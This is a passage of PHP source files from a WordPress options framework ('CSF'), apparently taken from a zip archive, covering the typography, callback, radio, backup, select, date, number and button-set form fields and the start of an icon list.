            echo '<option value="">'. ( ! $this->chosen ? esc_html__( 'Default', 'csf' ) : '' ) .'</option>';
            if ( ! empty( $this->value['font-weight'] ) || ! empty( $this->value['font-style'] ) ) {
              echo '<option value="'. esc_attr( strtolower( $this->value['font-weight'] . $this->value['font-style'] ) ) .'" selected></option>';
            }
            echo '</select>';
            echo '<input type="hidden" name="'. esc_attr( $this->field_name( '[font-weight]' ) ) .'" class="csf--font-weight" value="'. esc_attr( $this->value['font-weight'] ) .'" />';
            echo '<input type="hidden" name="'. esc_attr( $this->field_name( '[font-style]' ) ) .'" class="csf--font-style" value="'. esc_attr( $this->value['font-style'] ) .'" />';

            //
            // Extra Font Style Select
            if ( ! empty( $args['extra_styles'] ) ) {
              echo '<div class="csf--block-extra-styles hidden">';
              echo ( ! $this->chosen ) ? '<div class="csf--title">'. esc_html__( 'Load Extra Styles', 'csf' ) .'</div>' : '';
              $placeholder = ( $this->chosen ) ? esc_html__( 'Load Extra Styles', 'csf' ) : esc_html__( 'Default', 'csf' );
              echo $this->create_select( $this->value['extra-styles'], 'extra-styles', $placeholder, true );
              echo '</div>';
            }

            echo '</div>';

          }

          //
          // Subset
          if ( ! empty( $args['subset'] ) ) {
            echo '<div class="csf--block csf--block-subset hidden">';
            echo '<div class="csf--title">'. esc_html__( 'Subset', 'csf' ) .'</div>';
            $subset = ( is_array( $this->value['subset'] ) ) ? $this->value['subset'] : array_filter( (array) $this->value['subset'] );
            echo $this->create_select( $subset, 'subset', esc_html__( 'Default', 'csf' ), $args['multi_subset'] );
            echo '</div>';
          }

          //
          // Text Align
          if ( ! empty( $args['text_align'] ) ) {
            echo '<div class="csf--block">';
            echo '<div class="csf--title">'. esc_html__( 'Text Align', 'csf' ) .'</div>';
            echo $this->create_select( array(
              'inherit' => esc_html__( 'Inherit', 'csf' ),
              'left'    => esc_html__( 'Left', 'csf' ),
              'center'  => esc_html__( 'Center', 'csf' ),
              'right'   => esc_html__( 'Right', 'csf' ),
              'justify' => esc_html__( 'Justify', 'csf' ),
              'initial' => esc_html__( 'Initial', 'csf' )
            ), 'text-align', esc_html__( 'Default', 'csf' ) );
            echo '</div>';
          }

          //
          // Font Variant
          if ( ! empty( $args['font_variant'] ) ) {
            echo '<div class="csf--block">';
            echo '<div class="csf--title">'. esc_html__( 'Font Variant', 'csf' ) .'</div>';
            echo $this->create_select( array(
              'normal'         => esc_html__( 'Normal', 'csf' ),
              'small-caps'     => esc_html__( 'Small Caps', 'csf' ),
              'all-small-caps' => esc_html__( 'All Small Caps', 'csf' )
            ), 'font-variant', esc_html__( 'Default', 'csf' ) );
            echo '</div>';
          }

          //
          // Text Transform
          if ( ! empty( $args['text_transform'] ) ) {
            echo '<div class="csf--block">';
            echo '<div class="csf--title">'. esc_html__( 'Text Transform', 'csf' ) .'</div>';
            echo $this->create_select( array(
              'none'       => esc_html__( 'None', 'csf' ),
              'capitalize' => esc_html__( 'Capitalize', 'csf' ),
              'uppercase'  => esc_html__( 'Uppercase', 'csf' ),
              'lowercase'  => esc_html__( 'Lowercase', 'csf' )
            ), 'text-transform', esc_html__( 'Default', 'csf' ) );
            echo '</div>';
          }

          //
          // Text Decoration
          if ( ! empty( $args['text_decoration'] ) ) {
            echo '<div class="csf--block">';
            echo '<div class="csf--title">'. esc_html__( 'Text Decoration', 'csf' ) .'</div>';
            echo $this->create_select( array(
              'none'               => esc_html__( 'None', 'csf' ),
              'underline'          => esc_html__( 'Solid', 'csf' ),
              'underline double'   => esc_html__( 'Double', 'csf' ),
              'underline dotted'   => esc_html__( 'Dotted', 'csf' ),
              'underline dashed'   => esc_html__( 'Dashed', 'csf' ),
              'underline wavy'     => esc_html__( 'Wavy', 'csf' ),
              'underline overline' => esc_html__( 'Overline', 'csf' ),
              'line-through'       => esc_html__( 'Line-through', 'csf' )
            ), 'text-decoration', esc_html__( 'Default', 'csf' ) );
            echo '</div>';
          }

        echo '</div>';

        echo '<div class="csf--blocks csf--blocks-inputs">';

          //
          // Font Size
          if ( ! empty( $args['font_size'] ) ) {
            echo '<div class="csf--block">';
            echo '<div class="csf--title">'. esc_html__( 'Font Size', 'csf' ) .'</div>';
            echo '<div class="csf--input-wrap">';
            echo '<input type="number" name="'. esc_attr( $this->field_name( '[font-size]' ) ) .'" class="csf--font-size csf--input csf-input-number" value="'. esc_attr( $this->value['font-size'] ) .'" step="any" />';
            echo '<span class="csf--unit">'. esc_attr( $args['unit'] ) .'</span>';
            echo '</div>';
            echo '</div>';
          }

          //
          // Line Height
          if ( ! empty( $args['line_height'] ) ) {
            echo '<div class="csf--block">';
            echo '<div class="csf--title">'. esc_html__( 'Line Height', 'csf' ) .'</div>';
            echo '<div class="csf--input-wrap">';
            echo '<input type="number" name="'. esc_attr( $this->field_name( '[line-height]' ) ) .'" class="csf--line-height csf--input csf-input-number" value="'. esc_attr( $this->value['line-height'] ) .'" step="any" />';
            echo '<span class="csf--unit">'. esc_attr( $line_height_unit ) .'</span>';
            echo '</div>';
            echo '</div>';
          }

          //
          // Letter Spacing
          if ( ! empty( $args['letter_spacing'] ) ) {
            echo '<div class="csf--block">';
            echo '<div class="csf--title">'. esc_html__( 'Letter Spacing', 'csf' ) .'</div>';
            echo '<div class="csf--input-wrap">';
            echo '<input type="number" name="'. esc_attr( $this->field_name( '[letter-spacing]' ) ) .'" class="csf--letter-spacing csf--input csf-input-number" value="'. esc_attr( $this->value['letter-spacing'] ) .'" step="any" />';
            echo '<span class="csf--unit">'. esc_attr( $args['unit'] ) .'</span>';
            echo '</div>';
            echo '</div>';
          }

          //
          // Word Spacing
          if ( ! empty( $args['word_spacing'] ) ) {
            echo '<div class="csf--block">';
            echo '<div class="csf--title">'. esc_html__( 'Word Spacing', 'csf' ) .'</div>';
            echo '<div class="csf--input-wrap">';
            echo '<input type="number" name="'. esc_attr( $this->field_name( '[word-spacing]' ) ) .'" class="csf--word-spacing csf--input csf-input-number" value="'. esc_attr( $this->value['word-spacing'] ) .'" step="any" />';
            echo '<span class="csf--unit">'. esc_attr( $args['unit'] ) .'</span>';
            echo '</div>';
            echo '</div>';
          }

        echo '</div>';

        //
        // Font Color
        if ( ! empty( $args['color'] ) ) {
          $default_color_attr = ( ! empty( $default_value['color'] ) ) ? ' data-default-color="'. esc_attr( $default_value['color'] ) .'"' : '';
          echo '<div class="csf--block csf--block-font-color">';
          echo '<div class="csf--title">'. esc_html__( 'Font Color', 'csf' ) .'</div>';
          echo '<div class="csf-field-color">';
          echo '<input type="text" name="'. esc_attr( $this->field_name( '[color]' ) ) .'" class="csf-color csf--color" value="'. esc_attr( $this->value['color'] ) .'"'. $default_color_attr .' />';
          echo '</div>';
          echo '</div>';
        }

        //
        // Custom style
        if ( ! empty( $args['custom_style'] ) ) {
          echo '<div class="csf--block csf--block-custom-style">';
          echo '<div class="csf--title">'. esc_html__( 'Custom Style', 'csf' ) .'</div>';
          echo '<textarea name="'. esc_attr( $this->field_name( '[custom-style]' ) ) .'" class="csf--custom-style">'. esc_attr( $this->value['custom-style'] ) .'</textarea>';
          echo '</div>';
        }

        //
        // Preview
        $always_preview = ( $args['preview'] !== 'always' ) ? ' hidden' : '';

        if ( ! empty( $args['preview'] ) ) {
          echo '<div class="csf--block csf--block-preview'. esc_attr( $always_preview ) .'">';
          echo '<div class="csf--toggle fas fa-toggle-off"></div>';
          echo '<div class="csf--preview">'. esc_attr( $args['preview_text'] ) .'</div>';
          echo '</div>';
        }

        echo '<input type="hidden" name="'. esc_attr( $this->field_name( '[type]' ) ) .'" class="csf--type" value="'. esc_attr( $this->value['type'] ) .'" />';
        echo '<input type="hidden" name="'. esc_attr( $this->field_name( '[unit]' ) ) .'" class="csf--unit-save" value="'. esc_attr( $args['unit'] ) .'" />';

      echo '</div>';

      echo $this->field_after();

    }

    public function create_select( $options, $name, $placeholder = '', $is_multiple = false ) {

      $multiple_name = ( $is_multiple ) ? '[]' : '';
      $multiple_attr = ( $is_multiple ) ? ' multiple data-multiple="true"' : '';
      $chosen_rtl    = ( $this->chosen && is_rtl() ) ? ' chosen-rtl' : '';

      $output  = '<select name="'. esc_attr( $this->field_name( '['. $name .']'. $multiple_name ) ) .'" class="csf--'. esc_attr( $name ) . esc_attr( $chosen_rtl ) .'" data-placeholder="'. esc_attr( $placeholder ) .'"'. $multiple_attr .'>';
      $output .= ( ! empty( $placeholder ) ) ? '<option value="">'. esc_attr( ( ! $this->chosen ) ? $placeholder : '' ) .'</option>' : '';

      if ( ! empty( $options ) ) {
        foreach ( $options as $option_key => $option_value ) {
          if ( $is_multiple ) {
            $selected = ( in_array( $option_value, $this->value[$name] ) ) ? ' selected' : '';
            $output .= '<option value="'. esc_attr( $option_value ) .'"'. esc_attr( $selected ).'>'. esc_attr( $option_value ) .'</option>';
          } else {
            $option_key = ( is_numeric( $option_key ) ) ? $option_value : $option_key;
            $selected = ( $option_key === $this->value[$name] ) ? ' selected' : '';
            $output .= '<option value="'. esc_attr( $option_key ) .'"'. esc_attr( $selected ).'>'. esc_attr( $option_value ) .'</option>';
          }
        }
      }

      $output .= '</select>';

      return $output;

    }

    public function enqueue() {

      if ( ! wp_script_is( 'csf-webfontloader' ) ) {

        CSF::include_plugin_file( 'fields/typography/google-fonts.php' );

        wp_enqueue_script( 'csf-webfontloader', 'https://cdn.jsdelivr.net/npm/webfontloader@1.6.28/webfontloader.min.js', array( 'csf' ), '1.6.28', true );

        $webfonts = array();

        $customwebfonts = apply_filters( 'csf_field_typography_customwebfonts', array() );

        if ( ! empty( $customwebfonts ) ) {
          $webfonts['custom'] = array(
            'label' => esc_html__( 'Custom Web Fonts', 'csf' ),
            'fonts' => $customwebfonts
          );
        }

        $webfonts['safe'] = array(
          'label' => esc_html__( 'Safe Web Fonts', 'csf' ),
          'fonts' => apply_filters( 'csf_field_typography_safewebfonts', array(
            'Arial',
            'Arial Black',
            'Helvetica',
            'Times New Roman',
            'Courier New',
            'Tahoma',
            'Verdana',
            'Impact',
            'Trebuchet MS',
            'Comic Sans MS',
            'Lucida Console',
            'Lucida Sans Unicode',
            'Georgia, serif',
            'Palatino Linotype'
          )
        ) );

        $webfonts['google'] = array(
          'label' => esc_html__( 'Google Web Fonts', 'csf' ),
          'fonts' => apply_filters( 'csf_field_typography_googlewebfonts', csf_get_google_fonts()
        ) );

        $defaultstyles = apply_filters( 'csf_field_typography_defaultstyles', array( 'normal', 'italic', '700', '700italic' ) );

        $googlestyles = apply_filters( 'csf_field_typography_googlestyles', array(
          '100'       => 'Thin 100',
          '100italic' => 'Thin 100 Italic',
          '200'       => 'Extra-Light 200',
          '200italic' => 'Extra-Light 200 Italic',
          '300'       => 'Light 300',
          '300italic' => 'Light 300 Italic',
          'normal'    => 'Normal 400',
          'italic'    => 'Normal 400 Italic',
          '500'       => 'Medium 500',
          '500italic' => 'Medium 500 Italic',
          '600'       => 'Semi-Bold 600',
          '600italic' => 'Semi-Bold 600 Italic',
          '700'       => 'Bold 700',
          '700italic' => 'Bold 700 Italic',
          '800'       => 'Extra-Bold 800',
          '800italic' => 'Extra-Bold 800 Italic',
          '900'       => 'Black 900',
          '900italic' => 'Black 900 Italic'
        ) );

        $webfonts = apply_filters( 'csf_field_typography_webfonts', $webfonts );

        wp_localize_script( 'csf', 'csf_typography_json', array(
          'webfonts'      => $webfonts,
          'defaultstyles' => $defaultstyles,
          'googlestyles'  => $googlestyles
        ) );

      }

    }

    public function enqueue_google_fonts( $method = 'enqueue' ) {

      $is_google = false;

      if ( ! empty( $this->value['type'] ) ) {
        $is_google = ( $this->value['type'] === 'google' ) ? true : false;
      } else {
        CSF::include_plugin_file( 'fields/typography/google-fonts.php' );
        $is_google = ( array_key_exists( $this->value['font-family'], csf_get_google_fonts() ) ) ? true : false;
      }

      if ( $is_google ) {

        // set style
        $font_family = ( ! empty( $this->value['font-family'] ) ) ? $this->value['font-family'] : '';
        $font_weight = ( ! empty( $this->value['font-weight'] ) ) ? $this->value['font-weight'] : '';
        $font_style  = ( ! empty( $this->value['font-style'] ) ) ? $this->value['font-style'] : '';

        if ( $font_weight || $font_style ) {
          $style = $font_weight . $font_style;
          if ( ! empty( $style ) ) {
            $style = ( $style === 'normal' ) ? '400' : $style;
            CSF::$webfonts[$method][$font_family][$style] = $style;
          }
        } else {
          CSF::$webfonts[$method][$font_family] = array();
        }

        // set extra styles
        if ( ! empty( $this->value['extra-styles'] ) ) {
          foreach ( $this->value['extra-styles'] as $extra_style ) {
            if ( ! empty( $extra_style ) ) {
              $extra_style = ( $extra_style === 'normal' ) ? '400' : $extra_style;
              CSF::$webfonts[$method][$font_family][$extra_style] = $extra_style;
            }
          }
        }

        // set subsets
        if ( ! empty( $this->value['subset'] ) ) {
          $this->value['subset'] = ( is_array( $this->value['subset'] ) ) ? $this->value['subset'] : array_filter( (array) $this->value['subset'] );
          foreach ( $this->value['subset'] as $subset ) {
            if( ! empty( $subset ) ) {
              CSF::$subsets[$subset] = $subset;
            }
          }
        }

        return true;

      }

      return false;

    }

    public function output() {

      $output    = '';
      $bg_image  = array();
      $important = ( ! empty( $this->field['output_important'] ) ) ? '!important' : '';
      $element   = ( is_array( $this->field['output'] ) ) ? join( ',', $this->field['output'] ) : $this->field['output'];

      $font_family   = ( ! empty( $this->value['font-family'] ) ) ? $this->value['font-family'] : '';
      $backup_family = ( ! empty( $this->value['backup-font-family'] ) ) ? ', '. $this->value['backup-font-family'] : '';

      if ( $font_family ) {
        $output .= 'font-family:"'. $font_family .'"'. $backup_family . $important .';';
      }

      // Common font properties
      $properties = array(
        'color',
        'font-weight',
        'font-style',
        'font-variant',
        'text-align',
        'text-transform',
        'text-decoration',
      );

      foreach ( $properties as $property ) {
        if ( isset( $this->value[$property] ) && $this->value[$property] !== '' ) {
          $output .= $property .':'. $this->value[$property] . $important .';';
        }
      }

      $properties = array(
        'font-size',
        'line-height',
        'letter-spacing',
        'word-spacing',
      );

      $unit = ( ! empty( $this->value['unit'] ) ) ? $this->value['unit'] : 'px';
      $line_height_unit = ( ! empty( $this->value['line_height_unit'] ) ) ? $this->value['line_height_unit'] : $unit;

      foreach ( $properties as $property ) {
        if ( isset( $this->value[$property] ) && $this->value[$property] !== '' ) {
          $unit = ( $property === 'line-height' ) ? $line_height_unit : $unit;
          $output .= $property .':'. $this->value[$property] . $unit . $important .';';
        }
      }

      $custom_style = ( ! empty( $this->value['custom-style'] ) ) ? $this->value['custom-style'] : '';

      if ( $output ) {
        $output = $element .'{'. $output . $custom_style .'}';
      }

      $this->parent->output_css .= $output;

      return $output;

    }

  }
}
PK     2w\Q    .  options/framework/fields/callback/callback.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: callback
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_callback' ) ) {
  class CSF_Field_callback extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      if ( isset( $this->field['function'] ) && is_callable( $this->field['function'] ) ) {

        $args = ( isset( $this->field['args'] ) ) ? $this->field['args'] : null;

        call_user_func( $this->field['function'], $args );

      }

    }

  }
}

PK     2w\<Δ?  ?  (  options/framework/fields/radio/radio.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: radio
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_radio' ) ) {
  class CSF_Field_radio extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      $args = wp_parse_args( $this->field, array(
        'inline'     => false,
        'query_args' => array(),
      ) );

      $inline_class = ( $args['inline'] ) ? ' class="csf--inline-list"' : '';

      echo $this->field_before();

      if ( isset( $this->field['options'] ) ) {

        $options = $this->field['options'];
        $options = ( is_array( $options ) ) ? $options : array_filter( $this->field_data( $options, false, $args['query_args'] ) );

        if ( is_array( $options ) && ! empty( $options ) ) {

          echo '<ul'. $inline_class .'>';

          foreach ( $options as $option_key => $option_value ) {

            if ( is_array( $option_value ) && ! empty( $option_value ) ) {

              echo '<li>';
                echo '<ul>';
                  echo '<li><strong>'. esc_attr( $option_key ) .'</strong></li>';
                  foreach ( $option_value as $sub_key => $sub_value ) {
                    $checked = ( $sub_key == $this->value ) ? ' checked' : '';
                    echo '<li>';
                    echo '<label>';
                    echo '<input type="radio" name="'. esc_attr( $this->field_name() ) .'" value="'. esc_attr( $sub_key ) .'"'. $this->field_attributes() . esc_attr( $checked ) .'/>';
                    echo '<span class="csf--text">'. esc_attr( $sub_value ) .'</span>';
                    echo '</label>';
                    echo '</li>';
                  }
                echo '</ul>';
              echo '</li>';

            } else {

              $checked = ( $option_key == $this->value ) ? ' checked' : '';

              echo '<li>';
              echo '<label>';
              echo '<input type="radio" name="'. esc_attr( $this->field_name() ) .'" value="'. esc_attr( $option_key ) .'"'. $this->field_attributes() . esc_attr( $checked ) .'/>';
              echo '<span class="csf--text">'. esc_attr( $option_value ) .'</span>';
              echo '</label>';
              echo '</li>';

            }

          }

          echo '</ul>';

        } else {

          echo ( ! empty( $this->field['empty_message'] ) ) ? esc_attr( $this->field['empty_message'] ) : esc_html__( 'No data available.', 'csf' );

        }

      } else {

        $label = ( isset( $this->field['label'] ) ) ? $this->field['label'] : '';
        echo '<label><input type="radio" name="'. esc_attr( $this->field_name() ) .'" value="1"'. $this->field_attributes() . esc_attr( checked( $this->value, 1, false ) ) .'/>';
        echo ( ! empty( $this->field['label'] ) ) ? '<span class="csf--text">'. esc_attr( $this->field['label'] ) .'</span>' : '';
        echo '</label>';

      }

      echo $this->field_after();

    }

  }
}
PK     2w\1/xc  c  *  options/framework/fields/backup/backup.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: backup
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_backup' ) ) {
  class CSF_Field_backup extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      $unique = $this->unique;
      $nonce  = wp_create_nonce( 'csf_backup_nonce' );
      $export = add_query_arg( array( 'action' => 'csf-export', 'unique' => $unique, 'nonce' => $nonce ), admin_url( 'admin-ajax.php' ) );

      echo $this->field_before();

      echo '<textarea name="csf_import_data" class="csf-import-data"></textarea>';
      echo '<button type="submit" class="button button-primary csf-confirm csf-import" data-unique="'. esc_attr( $unique ) .'" data-nonce="'. esc_attr( $nonce ) .'">'. esc_html__( 'Import', 'csf' ) .'</button>';
      echo '<hr />';
      echo '<textarea readonly="readonly" class="csf-export-data">'. esc_attr( json_encode( get_option( $unique ) ) ) .'</textarea>';
      echo '<a href="'. esc_url( $export ) .'" class="button button-primary csf-export" target="_blank">'. esc_html__( 'Export & Download', 'csf' ) .'</a>';
      echo '<hr />';
      echo '<button type="submit" name="csf_transient[reset]" value="reset" class="button csf-warning-primary csf-confirm csf-reset" data-unique="'. esc_attr( $unique ) .'" data-nonce="'. esc_attr( $nonce ) .'">'. esc_html__( 'Reset', 'csf' ) .'</button>';

      echo $this->field_after();

    }

  }
}
PK     2w\i    *  options/framework/fields/select/select.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: select
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_select' ) ) {
  class CSF_Field_select extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      $args = wp_parse_args( $this->field, array(
        'placeholder' => '',
        'chosen'      => false,
        'multiple'    => false,
        'sortable'    => false,
        'ajax'        => false,
        'settings'    => array(),
        'query_args'  => array(),
      ) );

      $this->value = ( is_array( $this->value ) ) ? $this->value : array_filter( (array) $this->value );

      echo $this->field_before();

      if ( isset( $this->field['options'] ) ) {

        if ( ! empty( $args['ajax'] ) ) {
          $args['settings']['data']['type']  = $args['options'];
          $args['settings']['data']['nonce'] = wp_create_nonce( 'csf_chosen_ajax_nonce' );
          if ( ! empty( $args['query_args'] ) ) {
            $args['settings']['data']['query_args'] = $args['query_args'];
          }
        }

        $chosen_rtl       = ( is_rtl() ) ? ' chosen-rtl' : '';
        $multiple_name    = ( $args['multiple'] ) ? '[]' : '';
        $multiple_attr    = ( $args['multiple'] ) ? ' multiple="multiple"' : '';
        $chosen_sortable  = ( $args['chosen'] && $args['sortable'] ) ? ' csf-chosen-sortable' : '';
        $chosen_ajax      = ( $args['chosen'] && $args['ajax'] ) ? ' csf-chosen-ajax' : '';
        $placeholder_attr = ( $args['chosen'] && $args['placeholder'] ) ? ' data-placeholder="'. esc_attr( $args['placeholder'] ) .'"' : '';
        $field_class      = ( $args['chosen'] ) ? ' class="csf-chosen'. esc_attr( $chosen_rtl . $chosen_sortable . $chosen_ajax ) .'"' : '';
        $field_name       = $this->field_name( $multiple_name );
        $field_attr       = $this->field_attributes();
        $maybe_options    = $this->field['options'];
        $chosen_data_attr = ( $args['chosen'] && ! empty( $args['settings'] ) ) ? ' data-chosen-settings="'. esc_attr( json_encode( $args['settings'] ) ) .'"' : '';

        if ( is_string( $maybe_options ) && ! empty( $args['chosen'] ) && ! empty( $args['ajax'] ) ) {
          $options = $this->field_wp_query_data_title( $maybe_options, $this->value );
        } else if ( is_string( $maybe_options ) ) {
          $options = $this->field_data( $maybe_options, false, $args['query_args'] );
        } else {
          $options = $maybe_options;
        }

        if ( ( is_array( $options ) && ! empty( $options ) ) || ( ! empty( $args['chosen'] ) && ! empty( $args['ajax'] ) ) ) {

          if ( ! empty( $args['chosen'] ) && ! empty( $args['multiple'] ) ) {

            echo '<select name="'. $field_name .'" class="csf-hide-select hidden"'. $multiple_attr . $field_attr .'>';
            foreach ( $this->value as $option_key ) {
              echo '<option value="'. esc_attr( $option_key ) .'" selected>'. esc_attr( $option_key ) .'</option>';
            }
            echo '</select>';

            $field_name = '_pseudo';
            $field_attr = '';

          }

          // These attributes has been serialized above.
          echo '<select name="'. esc_attr( $field_name ) .'"'. $field_class . $multiple_attr . $placeholder_attr . $field_attr . $chosen_data_attr .'>';

          if ( $args['placeholder'] && empty( $args['multiple'] ) ) {
            if ( ! empty( $args['chosen'] ) ) {
              echo '<option value=""></option>';
            } else {
              echo '<option value="">'. esc_attr( $args['placeholder'] ) .'</option>';
            }
          }

          foreach ( $options as $option_key => $option ) {

            if ( is_array( $option ) && ! empty( $option ) ) {

              echo '<optgroup label="'. esc_attr( $option_key ) .'">';

              foreach ( $option as $sub_key => $sub_value ) {
                $selected = ( in_array( $sub_key, $this->value ) ) ? ' selected' : '';
                echo '<option value="'. esc_attr( $sub_key ) .'" '. esc_attr( $selected ) .'>'. esc_attr( $sub_value ) .'</option>';
              }

              echo '</optgroup>';

            } else {
              $selected = ( in_array( $option_key, $this->value ) ) ? ' selected' : '';
              echo '<option value="'. esc_attr( $option_key ) .'" '. esc_attr( $selected ) .'>'. esc_attr( $option ) .'</option>';
            }

          }

          echo '</select>';

        } else {

          echo ( ! empty( $this->field['empty_message'] ) ) ? esc_attr( $this->field['empty_message'] ) : esc_html__( 'No data available.', 'csf' );

        }

      }

      echo $this->field_after();

    }

    public function enqueue() {

      if ( ! wp_script_is( 'jquery-ui-sortable' ) ) {
        wp_enqueue_script( 'jquery-ui-sortable' );
      }

    }

  }
}
PK     2w\u    &  options/framework/fields/date/date.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: date
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_date' ) ) {
  class CSF_Field_date extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      $default_settings = array(
        'dateFormat' => 'mm/dd/yy',
      );

      $settings = ( ! empty( $this->field['settings'] ) ) ? $this->field['settings'] : array();
      $settings = wp_parse_args( $settings, $default_settings );

      echo $this->field_before();

      if ( ! empty( $this->field['from_to'] ) ) {

        $args = wp_parse_args( $this->field, array(
          'text_from' => esc_html__( 'From', 'csf' ),
          'text_to'   => esc_html__( 'To', 'csf' ),
        ) );

        $value = wp_parse_args( $this->value, array(
          'from' => '',
          'to'   => '',
        ) );

        echo '<label class="csf--from">'. esc_attr( $args['text_from'] ) .' <input type="text" name="'. esc_attr( $this->field_name( '[from]' ) ) .'" value="'. esc_attr( $value['from'] ) .'"'. $this->field_attributes() .'/></label>';
        echo '<label class="csf--to">'. esc_attr( $args['text_to'] ) .' <input type="text" name="'. esc_attr( $this->field_name( '[to]' ) ) .'" value="'. esc_attr( $value['to'] ) .'"'. $this->field_attributes() .'/></label>';

      } else {

        echo '<input type="text" name="'. esc_attr( $this->field_name() ) .'" value="'. esc_attr( $this->value ) .'"'. $this->field_attributes() .'/>';

      }

      echo '<div class="csf-date-settings" data-settings="'. esc_attr( json_encode( $settings ) ) .'"></div>';

      echo $this->field_after();

    }

    public function enqueue() {

      if ( ! wp_script_is( 'jquery-ui-datepicker' ) ) {
        wp_enqueue_script( 'jquery-ui-datepicker' );
      }

    }

  }
}
PK     2w\Hx  x  *  options/framework/fields/number/number.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: number
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_number' ) ) {
  class CSF_Field_number extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      $args = wp_parse_args( $this->field, array(
        'min'  => 'any',
        'max'  => 'any',
        'step' => 'any',
        'unit' => '',
      ) );

      echo $this->field_before();
      echo '<div class="csf--wrap">';
      echo '<input type="number" name="'. esc_attr( $this->field_name() ) .'" value="'. esc_attr( $this->value ) .'"'. $this->field_attributes() .' min="'. esc_attr( $args['min'] ) .'" max="'. esc_attr( $args['max'] ) .'" step="'. esc_attr( $args['step'] ) .'"/>';
      echo ( ! empty( $args['unit'] ) ) ? '<span class="csf--unit">'. esc_attr( $args['unit'] ) .'</span>' : '';
      echo '</div>';
      echo $this->field_after();

    }

    public function output() {

      $output    = '';
      $elements  = ( is_array( $this->field['output'] ) ) ? $this->field['output'] : array_filter( (array) $this->field['output'] );
      $important = ( ! empty( $this->field['output_important'] ) ) ? '!important' : '';
      $mode      = ( ! empty( $this->field['output_mode'] ) ) ? $this->field['output_mode'] : 'width';
      $unit      = ( ! empty( $this->field['unit'] ) ) ? $this->field['unit'] : 'px';

      if ( ! empty( $elements ) && isset( $this->value ) && $this->value !== '' ) {
        foreach ( $elements as $key_property => $element ) {
          if ( is_numeric( $key_property ) ) {
            if ( $mode ) {
              $output = implode( ',', $elements ) .'{'. $mode .':'. $this->value . $unit . $important .';}';
            }
            break;
          } else {
            $output .= $element .'{'. $key_property .':'. $this->value . $unit . $important .'}';
          }
        }
      }

      $this->parent->output_css .= $output;

      return $output;

    }

  }
}
PK     2w\5>y  y  2  options/framework/fields/button_set/button_set.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
/**
 *
 * Field: button_set
 *
 * @since 1.0.0
 * @version 1.0.0
 *
 */
if ( ! class_exists( 'CSF_Field_button_set' ) ) {
  class CSF_Field_button_set extends CSF_Fields {

    public function __construct( $field, $value = '', $unique = '', $where = '', $parent = '' ) {
      parent::__construct( $field, $value, $unique, $where, $parent );
    }

    public function render() {

      $args = wp_parse_args( $this->field, array(
        'multiple'   => false,
        'options'    => array(),
        'query_args' => array(),
      ) );

      $value = ( is_array( $this->value ) ) ? $this->value : array_filter( (array) $this->value );

      echo $this->field_before();

      if ( isset( $this->field['options'] ) ) {

        $options = $this->field['options'];
        $options = ( is_array( $options ) ) ? $options : array_filter( $this->field_data( $options, false, $args['query_args'] ) );

        if ( is_array( $options ) && ! empty( $options ) ) {

          echo '<div class="csf-siblings csf--button-group" data-multiple="'. esc_attr( $args['multiple'] ) .'">';

          foreach ( $options as $key => $option ) {

            $type    = ( $args['multiple'] ) ? 'checkbox' : 'radio';
            $extra   = ( $args['multiple'] ) ? '[]' : '';
            $active  = ( in_array( $key, $value ) || ( empty( $value ) && empty( $key ) )  ) ? ' csf--active' : '';
            $checked = ( in_array( $key, $value ) || ( empty( $value ) && empty( $key ) ) ) ? ' checked' : '';

            echo '<div class="csf--sibling csf--button'. esc_attr( $active ) .'">';
            echo '<input type="'. esc_attr( $type ) .'" name="'. esc_attr( $this->field_name( $extra ) ) .'" value="'. esc_attr( $key ) .'"'. $this->field_attributes() . esc_attr( $checked ) .'/>';
            echo $option;
            echo '</div>';

          }

          echo '</div>';

        } else {

          echo ( ! empty( $this->field['empty_message'] ) ) ? esc_attr( $this->field['empty_message'] ) : esc_html__( 'No data available.', 'csf' );

        }

      }

      echo $this->field_after();

    }

  }
}
PK     2w\Et{  {  +  options/framework/fields/icon/fa5-icons.phpnu [        <?php if ( ! defined( 'ABSPATH' ) ) { die; } // Cannot access directly.
//
// Font Awesome 5 Free Icons
//
if ( ! function_exists( 'csf_get_default_icons' ) ) {
  function csf_get_default_icons() {
    return array( array(
      'title' => 'Font Awesome 5 Free',
